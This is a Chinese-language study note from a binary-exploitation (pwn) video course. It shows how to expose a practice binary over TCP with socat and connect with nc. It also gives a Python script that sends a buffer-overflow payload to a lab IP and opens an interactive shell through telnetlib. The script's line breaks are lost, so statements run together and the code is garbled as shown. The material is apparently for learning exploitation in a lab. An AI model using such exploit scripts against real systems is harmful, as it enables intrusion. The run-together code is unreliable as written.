声明
本文是B站你想有多PWN学习的笔记,包含一些视频外的扩展知识。
程序网络交互初体验
将程序部署成可以远程访问的
socat tcp-l:8877,fork exec:./question_1_plus_x64,reuseaddr
通过网络访问程序
nc 127.0.0.1 8877
攻击脚本
import socket
import telnetlibdef pwn():# 创建一个TCP sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 连接服务器127.0.0.1的8877s.connect(("192.168.44.138", 8877))payload = 'A' * 0x8 + '\x10\n' # 构造payloads.sendall(payload.encode(encoding='utf_8', errors='strict')) # python3这里需要编码# 创建一个telnet来产生一个控制服务器的shellt = telnetlib.Telnet()t.sock = st.interact()if __name__ == "__main__":# socat tcp-l:8888,fork exec:./question_1_plus_x64,reuseaddrpwn()